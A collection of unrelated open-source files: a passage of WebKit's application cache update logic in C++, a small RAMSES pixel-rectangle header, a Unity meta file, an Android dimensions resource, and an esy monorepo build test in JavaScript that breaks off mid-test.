} else
m_cacheBeingUpdated->addResource(ApplicationCacheResource::create(url, loader.response(), ApplicationCacheResource::Master, loader.mainResourceData()));
// The "cached" event will be posted to all associated documents once update is complete.
break;
}
ASSERT(m_downloadingPendingMasterResourceLoadersCount > 0);
m_downloadingPendingMasterResourceLoadersCount--;
checkIfLoadIsComplete();
}
void ApplicationCacheGroup::failedLoadingMainResource(DocumentLoader& loader)
{
ASSERT(m_pendingMasterResourceLoaders.contains(&loader));
ASSERT(m_completionType == None || m_pendingEntries.isEmpty());
switch (m_completionType) {
case None:
// The main resource finished loading before the manifest was ready. It will be handled via dispatchMainResources() later.
return;
case NoUpdate:
ASSERT(!m_cacheBeingUpdated);
// The manifest didn't change, and we have a relevant cache - but the main resource download failed mid-way, so it cannot be stored to the cache,
// and the loader does not get associated to it. If there are other main resources being downloaded for this cache group, they may still succeed.
postListenerTask(eventNames().errorEvent, loader);
break;
case Failure:
// Cache update failed, too.
ASSERT(!m_cacheBeingUpdated); // Already cleared out by stopLoading().
ASSERT(!loader.applicationCacheHost().applicationCache() || loader.applicationCacheHost().applicationCache()->group() == this);
loader.applicationCacheHost().setApplicationCache(nullptr); // Will unset candidate, too.
m_associatedDocumentLoaders.remove(&loader);
postListenerTask(eventNames().errorEvent, loader);
break;
case Completed:
// The cache manifest didn't list this main resource, and all cache entries were already updated successfully - but the main resource failed to load,
// so it cannot be stored to the cache. If there are other main resources being downloaded for this cache group, they may still succeed.
ASSERT(m_associatedDocumentLoaders.contains(&loader));
ASSERT(loader.applicationCacheHost().applicationCache() == m_cacheBeingUpdated);
ASSERT(!loader.applicationCacheHost().candidateApplicationCacheGroup());
m_associatedDocumentLoaders.remove(&loader);
loader.applicationCacheHost().setApplicationCache(nullptr);
postListenerTask(eventNames().errorEvent, loader);
break;
}
ASSERT(m_downloadingPendingMasterResourceLoadersCount > 0);
m_downloadingPendingMasterResourceLoadersCount--;
checkIfLoadIsComplete();
}
void ApplicationCacheGroup::stopLoading()
{
if (m_manifestLoader) {
m_manifestLoader->cancel();
m_manifestLoader = nullptr;
}
if (m_entryLoader) {
m_entryLoader->cancel();
m_entryLoader = nullptr;
}
// FIXME: Resetting just a tiny part of the state in this function is confusing. Callers have to take care of a lot more.
m_cacheBeingUpdated = nullptr;
m_pendingEntries.clear();
}
void ApplicationCacheGroup::disassociateDocumentLoader(DocumentLoader& loader)
{
m_associatedDocumentLoaders.remove(&loader);
m_pendingMasterResourceLoaders.remove(&loader);
if (auto* host = loader.applicationCacheHostUnlessBeingDestroyed())
host->setApplicationCache(nullptr); // Will set candidate group to null, too.
if (!m_associatedDocumentLoaders.isEmpty() || !m_pendingMasterResourceLoaders.isEmpty())
return;
if (m_caches.isEmpty()) {
// There is an initial cache attempt in progress.
ASSERT(!m_newestCache);
// Delete ourselves, causing the cache attempt to be stopped.
delete this;
return;
}
ASSERT(m_caches.contains(m_newestCache.get()));
// Release our reference to the newest cache. This could cause us to be deleted.
// Any ongoing updates will be stopped from destructor.
m_newestCache = nullptr;
}
void ApplicationCacheGroup::cacheDestroyed(ApplicationCache& cache)
{
if (m_caches.remove(&cache) && m_caches.isEmpty()) {
ASSERT(m_associatedDocumentLoaders.isEmpty());
ASSERT(m_pendingMasterResourceLoaders.isEmpty());
delete this;
}
}
void ApplicationCacheGroup::stopLoadingInFrame(Frame& frame)
{
if (&frame != m_frame)
return;
cacheUpdateFailed();
}
void ApplicationCacheGroup::setNewestCache(Ref<ApplicationCache>&& newestCache)
{
m_newestCache = WTFMove(newestCache);
m_caches.add(m_newestCache.get());
m_newestCache->setGroup(this);
}
void ApplicationCacheGroup::makeObsolete()
{
if (isObsolete())
return;
m_isObsolete = true;
m_storage->cacheGroupMadeObsolete(*this);
ASSERT(!m_storageID);
}
void ApplicationCacheGroup::update(Frame& frame, ApplicationCacheUpdateOption updateOption)
{
ASSERT(frame.loader().documentLoader());
auto& documentLoader = *frame.loader().documentLoader();
if (m_updateStatus == Checking || m_updateStatus == Downloading) {
if (updateOption == ApplicationCacheUpdateWithBrowsingContext) {
postListenerTask(eventNames().checkingEvent, documentLoader);
if (m_updateStatus == Downloading)
postListenerTask(eventNames().downloadingEvent, documentLoader);
}
return;
}
// Don't access anything on disk if private browsing is enabled.
if (frame.page()->usesEphemeralSession() || !frame.document()->securityOrigin().canAccessApplicationCache(frame.tree().top().document()->securityOrigin())) {
ASSERT(m_pendingMasterResourceLoaders.isEmpty());
ASSERT(m_pendingEntries.isEmpty());
ASSERT(!m_cacheBeingUpdated);
postListenerTask(eventNames().checkingEvent, documentLoader);
postListenerTask(eventNames().errorEvent, documentLoader);
return;
}
ASSERT(!m_frame);
m_frame = &frame;
setUpdateStatus(Checking);
postListenerTask(eventNames().checkingEvent, m_associatedDocumentLoaders);
if (!m_newestCache) {
ASSERT(updateOption == ApplicationCacheUpdateWithBrowsingContext);
postListenerTask(eventNames().checkingEvent, documentLoader);
}
ASSERT(!m_manifestLoader);
ASSERT(!m_entryLoader);
ASSERT(!m_manifestResource);
ASSERT(!m_currentResource);
ASSERT(m_completionType == None);
// FIXME: Handle defer loading
auto request = createRequest(URL { m_manifestURL }, m_newestCache ? m_newestCache->manifestResource() : nullptr);
m_currentResourceIdentifier = m_frame->page()->progress().createUniqueIdentifier();
InspectorInstrumentation::willSendRequest(m_frame, m_currentResourceIdentifier, m_frame->loader().documentLoader(), request, ResourceResponse { });
m_manifestLoader = ApplicationCacheResourceLoader::create(ApplicationCacheResource::Type::Manifest, documentLoader.cachedResourceLoader(), WTFMove(request), [this] (auto&& resourceOrError) {
// 'this' is only valid if returned value is not Error::Abort.
if (!resourceOrError.has_value()) {
auto error = resourceOrError.error();
if (error == ApplicationCacheResourceLoader::Error::Abort)
return;
if (error == ApplicationCacheResourceLoader::Error::CannotCreateResource) {
// FIXME: We should get back the error from ApplicationCacheResourceLoader level.
InspectorInstrumentation::didFailLoading(m_frame, m_frame->loader().documentLoader(), m_currentResourceIdentifier, ResourceError { ResourceError::Type::AccessControl });
this->cacheUpdateFailed();
return;
}
this->didFailLoadingManifest(error);
return;
}
m_manifestResource = WTFMove(resourceOrError.value());
this->didFinishLoadingManifest();
});
}
ResourceRequest ApplicationCacheGroup::createRequest(URL&& url, ApplicationCacheResource* resource)
{
ResourceRequest request { WTFMove(url) };
m_frame->loader().applyUserAgentIfNeeded(request);
request.setHTTPHeaderField(HTTPHeaderName::CacheControl, "max-age=0");
if (resource) {
const String& lastModified = resource->response().httpHeaderField(HTTPHeaderName::LastModified);
if (!lastModified.isEmpty())
request.setHTTPHeaderField(HTTPHeaderName::IfModifiedSince, lastModified);
const String& eTag = resource->response().httpHeaderField(HTTPHeaderName::ETag);
if (!eTag.isEmpty())
request.setHTTPHeaderField(HTTPHeaderName::IfNoneMatch, eTag);
}
return request;
}
void ApplicationCacheGroup::abort(Frame& frame)
{
if (m_updateStatus == Idle)
return;
ASSERT(m_updateStatus == Checking || (m_updateStatus == Downloading && m_cacheBeingUpdated));
if (m_completionType != None)
return;
frame.document()->addConsoleMessage(MessageSource::AppCache, MessageLevel::Debug, "Application Cache download process was aborted."_s);
cacheUpdateFailed();
}
void ApplicationCacheGroup::didFinishLoadingEntry(const URL& entryURL)
{
// FIXME: We should have NetworkLoadMetrics for ApplicationCache loads.
NetworkLoadMetrics emptyMetrics;
InspectorInstrumentation::didFinishLoading(m_frame, m_frame->loader().documentLoader(), m_currentResourceIdentifier, emptyMetrics, nullptr);
ASSERT(m_pendingEntries.contains(entryURL));
auto type = m_pendingEntries.take(entryURL);
ASSERT(m_cacheBeingUpdated);
// Did we received a 304?
if (!m_currentResource) {
if (m_newestCache) {
ApplicationCacheResource* newestCachedResource = m_newestCache->resourceForURL(entryURL);
if (newestCachedResource) {
m_cacheBeingUpdated->addResource(ApplicationCacheResource::create(entryURL, newestCachedResource->response(), type, &newestCachedResource->data(), newestCachedResource->path()));
m_entryLoader = nullptr;
startLoadingEntry();
return;
}
}
// The server could return 304 for an unconditional request - in this case, we handle the response as a normal error.
m_entryLoader = nullptr;
startLoadingEntry();
return;
}
m_cacheBeingUpdated->addResource(m_currentResource.releaseNonNull());
m_entryLoader = nullptr;
// While downloading check to see if we have exceeded the available quota.
// We can stop immediately if we have already previously failed
// due to an earlier quota restriction. The client was already notified
// of the quota being reached and decided not to increase it then.
// FIXME: Should we break earlier and prevent redownloading on later page loads?
if (m_originQuotaExceededPreviously && m_availableSpaceInQuota < m_cacheBeingUpdated->estimatedSizeInStorage()) {
m_currentResource = nullptr;
m_frame->document()->addConsoleMessage(MessageSource::AppCache, MessageLevel::Error, "Application Cache update failed, because size quota was exceeded."_s);
cacheUpdateFailed();
return;
}
// Load the next resource, if any.
startLoadingEntry();
}
void ApplicationCacheGroup::didFailLoadingEntry(ApplicationCacheResourceLoader::Error error, const URL& entryURL, unsigned type)
{
// FIXME: We should get back the error from ApplicationCacheResourceLoader level.
ResourceError resourceError { error == ApplicationCacheResourceLoader::Error::CannotCreateResource ? ResourceError::Type::AccessControl : ResourceError::Type::General };
InspectorInstrumentation::didFailLoading(m_frame, m_frame->loader().documentLoader(), m_currentResourceIdentifier, resourceError);
URL url(entryURL);
url.removeFragmentIdentifier();
ASSERT(!m_currentResource || !m_pendingEntries.contains(url));
m_currentResource = nullptr;
m_pendingEntries.remove(url);
if ((type & ApplicationCacheResource::Explicit) || (type & ApplicationCacheResource::Fallback)) {
m_frame->document()->addConsoleMessage(MessageSource::AppCache, MessageLevel::Error, makeString("Application Cache update failed, because ", url.stringCenterEllipsizedToLength(), (m_entryLoader && m_entryLoader->hasRedirection() ? " was redirected." : " could not be fetched.")));
// Note that cacheUpdateFailed() can cause the cache group to be deleted.
cacheUpdateFailed();
return;
}
if (error == ApplicationCacheResourceLoader::Error::NotFound) {
// Skip this resource. It is dropped from the cache.
m_pendingEntries.remove(url);
startLoadingEntry();
return;
}
// Copy the resource and its metadata from the newest application cache in cache group whose completeness flag is complete, and act
// as if that was the fetched resource, ignoring the resource obtained from the network.
ASSERT(m_newestCache);
ApplicationCacheResource* newestCachedResource = m_newestCache->resourceForURL(url);
ASSERT(newestCachedResource);
m_cacheBeingUpdated->addResource(ApplicationCacheResource::create(url, newestCachedResource->response(), type, &newestCachedResource->data(), newestCachedResource->path()));
// Load the next resource, if any.
startLoadingEntry();
}
void ApplicationCacheGroup::didFinishLoadingManifest()
{
bool isUpgradeAttempt = m_newestCache;
if (!isUpgradeAttempt && !m_manifestResource) {
// The server returned 304 Not Modified even though we didn't send a conditional request.
m_frame->document()->addConsoleMessage(MessageSource::AppCache, MessageLevel::Error, "Application Cache manifest could not be fetched because of an unexpected 304 Not Modified server response."_s);
cacheUpdateFailed();
return;
}
m_manifestLoader = nullptr;
// Check if the manifest was not modified.
if (isUpgradeAttempt) {
ApplicationCacheResource* newestManifest = m_newestCache->manifestResource();
ASSERT(newestManifest);
if (!m_manifestResource || // The resource will be null if HTTP response was 304 Not Modified.
(newestManifest->data().size() == m_manifestResource->data().size() && !memcmp(newestManifest->data().data(), m_manifestResource->data().data(), newestManifest->data().size()))) {
m_completionType = NoUpdate;
m_manifestResource = nullptr;
deliverDelayedMainResources();
return;
}
}
Manifest manifest;
if (!parseManifest(m_manifestURL, m_manifestResource->response().mimeType(), m_manifestResource->data().data(), m_manifestResource->data().size(), manifest)) {
// At the time of this writing, lack of "CACHE MANIFEST" signature is the only reason for parseManifest to fail.
m_frame->document()->addConsoleMessage(MessageSource::AppCache, MessageLevel::Error, "Application Cache manifest could not be parsed. Does it start with CACHE MANIFEST?"_s);
cacheUpdateFailed();
return;
}
ASSERT(!m_cacheBeingUpdated);
m_cacheBeingUpdated = ApplicationCache::create();
m_cacheBeingUpdated->setGroup(this);
for (auto& loader : m_pendingMasterResourceLoaders)
associateDocumentLoaderWithCache(loader, m_cacheBeingUpdated.get());
// We have the manifest, now download the resources.
setUpdateStatus(Downloading);
postListenerTask(eventNames().downloadingEvent, m_associatedDocumentLoaders);
ASSERT(m_pendingEntries.isEmpty());
if (isUpgradeAttempt) {
for (const auto& urlAndResource : m_newestCache->resources()) {
unsigned type = urlAndResource.value->type();
if (type & ApplicationCacheResource::Master)
addEntry(urlAndResource.key, type);
}
}
for (const auto& explicitURL : manifest.explicitURLs)
addEntry(explicitURL, ApplicationCacheResource::Explicit);
for (auto& fallbackURL : manifest.fallbackURLs)
addEntry(fallbackURL.second, ApplicationCacheResource::Fallback);
m_cacheBeingUpdated->setOnlineWhitelist(manifest.onlineWhitelistedURLs);
m_cacheBeingUpdated->setFallbackURLs(manifest.fallbackURLs);
m_cacheBeingUpdated->setAllowsAllNetworkRequests(manifest.allowAllNetworkRequests);
m_progressTotal = m_pendingEntries.size();
m_progressDone = 0;
recalculateAvailableSpaceInQuota();
startLoadingEntry();
}
void ApplicationCacheGroup::didFailLoadingManifest(ApplicationCacheResourceLoader::Error error)
{
ASSERT(error != ApplicationCacheResourceLoader::Error::Abort && error != ApplicationCacheResourceLoader::Error::CannotCreateResource);
InspectorInstrumentation::didReceiveResourceResponse(*m_frame, m_currentResourceIdentifier, m_frame->loader().documentLoader(), m_manifestLoader->resource()->response(), nullptr);
switch (error) {
case ApplicationCacheResourceLoader::Error::NetworkError:
cacheUpdateFailed();
break;
case ApplicationCacheResourceLoader::Error::NotFound:
InspectorInstrumentation::didFailLoading(m_frame, m_frame->loader().documentLoader(), m_currentResourceIdentifier, m_frame->loader().cancelledError(m_manifestLoader->resource()->resourceRequest()));
m_frame->document()->addConsoleMessage(MessageSource::AppCache, MessageLevel::Error, makeString("Application Cache manifest could not be fetched, because the manifest had a ", m_manifestLoader->resource()->response().httpStatusCode(), " response."));
manifestNotFound();
break;
case ApplicationCacheResourceLoader::Error::NotOK:
InspectorInstrumentation::didFailLoading(m_frame, m_frame->loader().documentLoader(), m_currentResourceIdentifier, m_frame->loader().cancelledError(m_manifestLoader->resource()->resourceRequest()));
m_frame->document()->addConsoleMessage(MessageSource::AppCache, MessageLevel::Error, makeString("Application Cache manifest could not be fetched, because the manifest had a ", m_manifestLoader->resource()->response().httpStatusCode(), " response."));
cacheUpdateFailed();
break;
case ApplicationCacheResourceLoader::Error::RedirectForbidden:
InspectorInstrumentation::didFailLoading(m_frame, m_frame->loader().documentLoader(), m_currentResourceIdentifier, m_frame->loader().cancelledError(m_manifestLoader->resource()->resourceRequest()));
m_frame->document()->addConsoleMessage(MessageSource::AppCache, MessageLevel::Error, "Application Cache manifest could not be fetched, because a redirection was attempted."_s);
cacheUpdateFailed();
break;
case ApplicationCacheResourceLoader::Error::CannotCreateResource:
case ApplicationCacheResourceLoader::Error::Abort:
break;
}
}
void ApplicationCacheGroup::didReachMaxAppCacheSize()
{
ASSERT(m_frame);
ASSERT(m_cacheBeingUpdated);
m_frame->page()->chrome().client().reachedMaxAppCacheSize(m_frame->page()->applicationCacheStorage().spaceNeeded(m_cacheBeingUpdated->estimatedSizeInStorage()));
m_calledReachedMaxAppCacheSize = true;
checkIfLoadIsComplete();
}
void ApplicationCacheGroup::didReachOriginQuota(int64_t totalSpaceNeeded)
{
// Inform the client the origin quota has been reached, they may decide to increase the quota.
// We expect quota to be increased synchronously while waiting for the call to return.
m_frame->page()->chrome().client().reachedApplicationCacheOriginQuota(m_origin.get(), totalSpaceNeeded);
}
void ApplicationCacheGroup::cacheUpdateFailed()
{
stopLoading();
m_manifestResource = nullptr;
// Wait for master resource loads to finish.
m_completionType = Failure;
deliverDelayedMainResources();
}
void ApplicationCacheGroup::recalculateAvailableSpaceInQuota()
{
if (!m_frame->page()->applicationCacheStorage().calculateRemainingSizeForOriginExcludingCache(m_origin, m_newestCache.get(), m_availableSpaceInQuota)) {
// Failed to determine what is left in the quota. Fallback to allowing anything.
m_availableSpaceInQuota = ApplicationCacheStorage::noQuota();
}
}
void ApplicationCacheGroup::manifestNotFound()
{
makeObsolete();
postListenerTask(eventNames().obsoleteEvent, m_associatedDocumentLoaders);
postListenerTask(eventNames().errorEvent, m_pendingMasterResourceLoaders);
stopLoading();
ASSERT(m_pendingEntries.isEmpty());
m_manifestResource = nullptr;
while (!m_pendingMasterResourceLoaders.isEmpty()) {
HashSet<DocumentLoader*>::iterator it = m_pendingMasterResourceLoaders.begin();
ASSERT((*it)->applicationCacheHost().candidateApplicationCacheGroup() == this);
ASSERT(!(*it)->applicationCacheHost().applicationCache());
(*it)->applicationCacheHost().setCandidateApplicationCacheGroup(nullptr);
m_pendingMasterResourceLoaders.remove(it);
}
m_downloadingPendingMasterResourceLoadersCount = 0;
setUpdateStatus(Idle);
m_frame = nullptr;
if (m_caches.isEmpty()) {
ASSERT(m_associatedDocumentLoaders.isEmpty());
ASSERT(!m_cacheBeingUpdated);
delete this;
}
}
void ApplicationCacheGroup::checkIfLoadIsComplete()
{
if (m_manifestLoader || m_entryLoader || !m_pendingEntries.isEmpty() || m_downloadingPendingMasterResourceLoadersCount)
return;
// We're done, all resources have finished downloading (successfully or not).
bool isUpgradeAttempt = m_newestCache;
switch (m_completionType) {
case None:
ASSERT_NOT_REACHED();
return;
case NoUpdate:
ASSERT(isUpgradeAttempt);
ASSERT(!m_cacheBeingUpdated);
// The storage could have been manually emptied by the user.
if (!m_storageID)
m_storage->storeNewestCache(*this);
postListenerTask(eventNames().noupdateEvent, m_associatedDocumentLoaders);
break;
case Failure:
ASSERT(!m_cacheBeingUpdated);
postListenerTask(eventNames().errorEvent, m_associatedDocumentLoaders);
if (m_caches.isEmpty()) {
ASSERT(m_associatedDocumentLoaders.isEmpty());
delete this;
return;
}
break;
case Completed: {
// FIXME: Fetch the resource from manifest URL again, and check whether it is identical to the one used for update (in case the application was upgraded server-side in the meanwhile). (<rdar://problem/6467625>)
ASSERT(m_cacheBeingUpdated);
if (m_manifestResource)
m_cacheBeingUpdated->setManifestResource(m_manifestResource.releaseNonNull());
else {
// We can get here as a result of retrying the Complete step, following
// a failure of the cache storage to save the newest cache due to hitting
// the maximum size. In such a case, m_manifestResource may be 0, as
// the manifest was already set on the newest cache object.
ASSERT(m_cacheBeingUpdated->manifestResource());
ASSERT(m_storage->isMaximumSizeReached());
ASSERT(m_calledReachedMaxAppCacheSize);
}
RefPtr<ApplicationCache> oldNewestCache = (m_newestCache == m_cacheBeingUpdated) ? RefPtr<ApplicationCache>() : m_newestCache;
// If we exceeded the origin quota while downloading we can request a quota
// increase now, before we attempt to store the cache.
int64_t totalSpaceNeeded;
if (!m_storage->checkOriginQuota(this, oldNewestCache.get(), m_cacheBeingUpdated.get(), totalSpaceNeeded))
didReachOriginQuota(totalSpaceNeeded);
ApplicationCacheStorage::FailureReason failureReason;
setNewestCache(m_cacheBeingUpdated.releaseNonNull());
if (m_storage->storeNewestCache(*this, oldNewestCache.get(), failureReason)) {
// New cache stored, now remove the old cache.
if (oldNewestCache)
m_storage->remove(oldNewestCache.get());
// Fire the final progress event.
ASSERT(m_progressDone == m_progressTotal);
postListenerTask(eventNames().progressEvent, m_progressTotal, m_progressDone, m_associatedDocumentLoaders);
// Fire the success event.
postListenerTask(isUpgradeAttempt ? eventNames().updatereadyEvent : eventNames().cachedEvent, m_associatedDocumentLoaders);
// It is clear that the origin quota was not reached, so clear the flag if it was set.
m_originQuotaExceededPreviously = false;
} else {
if (failureReason == ApplicationCacheStorage::OriginQuotaReached) {
// We ran out of space for this origin. Fall down to the normal error handling
// after recording this state.
m_originQuotaExceededPreviously = true;
m_frame->document()->addConsoleMessage(MessageSource::AppCache, MessageLevel::Error, "Application Cache update failed, because size quota was exceeded."_s);
}
if (failureReason == ApplicationCacheStorage::TotalQuotaReached && !m_calledReachedMaxAppCacheSize) {
// FIXME: Should this be handled more like Origin Quotas? Does this fail properly?
// We ran out of space. All the changes in the cache storage have
// been rolled back. We roll back to the previous state in here,
// as well, call the chrome client asynchronously and retry to
// save the new cache.
// Save a reference to the new cache.
m_cacheBeingUpdated = WTFMove(m_newestCache);
if (oldNewestCache)
setNewestCache(oldNewestCache.releaseNonNull());
scheduleReachedMaxAppCacheSizeCallback();
return;
}
// Run the "cache failure steps"
// Fire the error events to all pending master entries, as well any other cache hosts
// currently associated with a cache in this group.
postListenerTask(eventNames().errorEvent, m_associatedDocumentLoaders);
// Disassociate the pending master entries from the failed new cache. Note that
// all other loaders in the m_associatedDocumentLoaders are still associated with
// some other cache in this group. They are not associated with the failed new cache.
// Need to copy loaders, because the cache group may be destroyed at the end of iteration.
for (auto& loader : copyToVector(m_pendingMasterResourceLoaders))
disassociateDocumentLoader(*loader); // This can delete this group.
// Reinstate the oldNewestCache, if there was one.
if (oldNewestCache) {
// This will discard the failed new cache.
setNewestCache(oldNewestCache.releaseNonNull());
} else {
// We must have been deleted by the last call to disassociateDocumentLoader().
return;
}
}
break;
}
}
// Empty cache group's list of pending master entries.
m_pendingMasterResourceLoaders.clear();
m_completionType = None;
setUpdateStatus(Idle);
m_frame = nullptr;
m_availableSpaceInQuota = ApplicationCacheStorage::unknownQuota();
m_calledReachedMaxAppCacheSize = false;
}
void ApplicationCacheGroup::startLoadingEntry()
{
ASSERT(m_cacheBeingUpdated);
if (m_pendingEntries.isEmpty()) {
m_completionType = Completed;
deliverDelayedMainResources();
return;
}
auto firstPendingEntryURL = m_pendingEntries.begin()->key;
postListenerTask(eventNames().progressEvent, m_progressTotal, m_progressDone, m_associatedDocumentLoaders);
m_progressDone++;
ASSERT(!m_manifestLoader);
ASSERT(!m_entryLoader);
auto request = createRequest(URL { { }, firstPendingEntryURL }, m_newestCache ? m_newestCache->resourceForURL(firstPendingEntryURL) : nullptr);
m_currentResourceIdentifier = m_frame->page()->progress().createUniqueIdentifier();
InspectorInstrumentation::willSendRequest(m_frame, m_currentResourceIdentifier, m_frame->loader().documentLoader(), request, ResourceResponse { });
auto& documentLoader = *m_frame->loader().documentLoader();
auto requestURL = request.url();
unsigned type = m_pendingEntries.begin()->value;
m_entryLoader = ApplicationCacheResourceLoader::create(type, documentLoader.cachedResourceLoader(), WTFMove(request), [this, requestURL = WTFMove(requestURL), type] (auto&& resourceOrError) {
if (!resourceOrError.has_value()) {
auto error = resourceOrError.error();
if (error == ApplicationCacheResourceLoader::Error::Abort)
return;
this->didFailLoadingEntry(error, requestURL, type);
return;
}
m_currentResource = WTFMove(resourceOrError.value());
this->didFinishLoadingEntry(requestURL);
});
}
void ApplicationCacheGroup::deliverDelayedMainResources()
{
// Need to copy loaders, because the cache group may be destroyed at the end of iteration.
auto loaders = copyToVector(m_pendingMasterResourceLoaders);
for (auto* loader : loaders) {
if (loader->isLoadingMainResource())
continue;
if (loader->mainDocumentError().isNull())
finishedLoadingMainResource(*loader);
else
failedLoadingMainResource(*loader);
}
if (loaders.isEmpty())
checkIfLoadIsComplete();
}
void ApplicationCacheGroup::addEntry(const String& url, unsigned type)
{
ASSERT(m_cacheBeingUpdated);
ASSERT(!URL({ }, url).hasFragmentIdentifier());
// Don't add the URL if we already have an master resource in the cache
// (i.e., the main resource finished loading before the manifest).
if (auto* resource = m_cacheBeingUpdated->resourceForURL(url)) {
ASSERT(resource->type() & ApplicationCacheResource::Master);
ASSERT(!m_frame->loader().documentLoader()->isLoadingMainResource());
resource->addType(type);
return;
}
// Don't add the URL if it's the same as the manifest URL.
ASSERT(m_manifestResource);
if (m_manifestResource->url() == url) {
m_manifestResource->addType(type);
return;
}
m_pendingEntries.add(url, type).iterator->value |= type;
}
void ApplicationCacheGroup::associateDocumentLoaderWithCache(DocumentLoader* loader, ApplicationCache* cache)
{
// If teardown started already, revive the group.
if (!m_newestCache && !m_cacheBeingUpdated)
m_newestCache = cache;
ASSERT(!m_isObsolete);
loader->applicationCacheHost().setApplicationCache(cache);
ASSERT(!m_associatedDocumentLoaders.contains(loader));
m_associatedDocumentLoaders.add(loader);
}
class ChromeClientCallbackTimer final : public TimerBase {
public:
ChromeClientCallbackTimer(ApplicationCacheGroup& group)
: m_group(group)
{
}
private:
void fired() final
{
m_group.didReachMaxAppCacheSize();
delete this;
}
// Note that there is no need to use a Ref here. The ApplicationCacheGroup instance is guaranteed
// to be alive when the timer fires since invoking the callback is part of its normal
// update machinery and nothing can yet cause it to get deleted.
ApplicationCacheGroup& m_group;
};
void ApplicationCacheGroup::scheduleReachedMaxAppCacheSizeCallback()
{
ASSERT(isMainThread());
auto* timer = new ChromeClientCallbackTimer(*this);
timer->startOneShot(0_s);
// The timer will delete itself once it fires.
}
void ApplicationCacheGroup::postListenerTask(const AtomicString& eventType, int progressTotal, int progressDone, const HashSet<DocumentLoader*>& loaderSet)
{
for (auto& loader : loaderSet)
postListenerTask(eventType, progressTotal, progressDone, *loader);
}
void ApplicationCacheGroup::postListenerTask(const AtomicString& eventType, int progressTotal, int progressDone, DocumentLoader& loader)
{
auto* frame = loader.frame();
if (!frame)
return;
ASSERT(frame->loader().documentLoader() == &loader);
RefPtr<DocumentLoader> protectedLoader(&loader);
frame->document()->postTask([protectedLoader, &eventType, progressTotal, progressDone] (ScriptExecutionContext& context) {
ASSERT_UNUSED(context, context.isDocument());
auto* frame = protectedLoader->frame();
if (!frame)
return;
ASSERT(frame->loader().documentLoader() == protectedLoader);
protectedLoader->applicationCacheHost().notifyDOMApplicationCache(eventType, progressTotal, progressDone);
});
}
void ApplicationCacheGroup::setUpdateStatus(UpdateStatus status)
{
m_updateStatus = status;
}
void ApplicationCacheGroup::clearStorageID()
{
m_storageID = 0;
for (auto& cache : m_caches)
cache->clearStorageID();
}
}
| {
"pile_set_name": "Github"
} |
// -------------------------------------------------------------------------
// Copyright (C) 2017 BMW Car IT GmbH
// -------------------------------------------------------------------------
// This Source Code Form is subject to the terms of the Mozilla Public
// License, v. 2.0. If a copy of the MPL was not distributed with this
// file, You can obtain one at https://mozilla.org/MPL/2.0/.
// -------------------------------------------------------------------------
#ifndef RAMSES_PIXELRECTANGLE_H
#define RAMSES_PIXELRECTANGLE_H
#include "PlatformAbstraction/PlatformTypes.h"
namespace ramses_internal
{
struct PixelRectangle
{
UInt32 x;
UInt32 y;
Int32 width;
Int32 height;
static bool IsSameSizeAs(const PixelRectangle& first, const PixelRectangle& second)
{
return first.width == second.width && first.height == second.height;
}
};
}
#endif
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: dd29f4b5d5045b54f8fcc23dd59b2aed
MonoImporter:
externalObjects: {}
serializedVersion: 2
defaultReferences: []
executionOrder: 0
icon: {instanceID: 0}
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
<resources>
<!-- Example customization of dimensions originally defined in res/values/dimens.xml
(such as screen margins) for screens with more than 820dp of available width. This
would include 7" and 10" devices in landscape (~960dp and ~1280dp respectively). -->
<dimen name="activity_horizontal_margin">64dp</dimen>
</resources>
| {
"pile_set_name": "Github"
} |
// @flow
//
// This tests monorepo workflow.
//
// The project structure is the following:
//
// root -links-dev-> pkga, pkgb, pkgc
// pkgb -links-dev-> pkgc
// root -devDepends-> devDep
//
// Also pkga, pkgb and pkgc are configured to use devDep.cmd executable from
// devDep when built in dev mode ("esy.buildDev" config).
//
// The idea is that we need to use a special config to add devDep to pkg* build
// environments.
//
const helpers = require('../test/helpers.js');
const {test, isWindows, packageJson, file, dir, dummyExecutable} = helpers;
async function createTestSandbox() {
const p = await helpers.createTestSandbox();
const devDep = [
packageJson({
name: 'devDep',
version: '1.0.0',
esy: {
buildsInSource: true,
build: [helpers.buildCommand(p, '#{self.root / self.name}.js')],
install: [
`cp #{self.root / self.name}.cmd #{self.bin / self.name}.cmd`,
`cp #{self.root / self.name}.js #{self.bin / self.name}.js`,
],
},
}),
dummyExecutable('devDep'),
];
function createPackage({name, dependencies, devDependencies, resolutions}) {
devDependencies = devDependencies || {};
return [
packageJson({
name,
version: '1.0.0',
esy: {
build: [
'cp #{self.root / self.name}.js #{self.target_dir / self.name}.js',
helpers.buildCommand(p, '#{self.target_dir / self.name}.js'),
],
buildDev: [
devDependencies.devDep != null ? 'devDep.cmd' : 'true',
'cp #{self.root / self.name}.js #{self.target_dir / self.name}.js',
helpers.buildCommand(p, '#{self.target_dir / self.name}.js'),
],
install: [
`cp #{self.target_dir / self.name}.cmd #{self.bin / self.name}.cmd`,
`cp #{self.target_dir / self.name}.js #{self.bin / self.name}.js`,
],
},
dependencies,
devDependencies,
resolutions,
}),
dummyExecutable(name),
];
}
const fixture = [
...createPackage({
name: 'root',
dependencies: {
pkga: '*',
pkgb: '*',
pkgc: '*',
},
resolutions: {
pkga: 'link-dev:./pkga',
pkgb: 'link-dev:./pkgb',
pkgc: 'link-dev:./pkgc',
},
}),
file('.esyproject', ''),
dir(
'pkga',
...createPackage({
name: 'pkga',
dependencies: {},
devDependencies: {
devDep: 'path:../devDep',
},
resolutions: {},
}),
),
dir(
'pkgb',
...createPackage({
name: 'pkgb',
dependencies: {pkgc: '*'},
devDependencies: {
devDep: 'path:../devDep',
},
resolutions: {},
}),
),
dir(
'pkgc',
...createPackage({
name: 'pkgc',
dependencies: {},
devDependencies: {
devDep: 'path:../devDep',
},
resolutions: {},
}),
),
dir('devDep', ...devDep),
];
await p.fixture(...fixture);
await p.esy('install');
return p;
}
describe('Monorepo workflow using low level commands', function() {
test('building the monorepo', async function() {
// now try to build with a custom DEPSPEC
const p = await createTestSandbox();
await p.esy(`build`);
for (const pkg of ['pkga', 'pkgb', 'pkgc']) {
const {stdout} = await p.esy(
`exec-command --include-current-env ${pkg}.cmd`,
);
expect(stdout.trim()).toBe(`__${pkg}__`);
}
});
test('building the monorepo in release mode', async function() {
// release build should work as-is as we are building using `"esy.build"`
// commands.
const p = await createTestSandbox();
await p.esy('build --release');
for (const pkg of ['pkga', 'pkgb', 'pkgc']) {
const {stdout} = await p.esy(
`exec-command --release --include-current-env ${pkg}.cmd`,
);
expect(stdout.trim()).toBe(`__${pkg}__`);
}
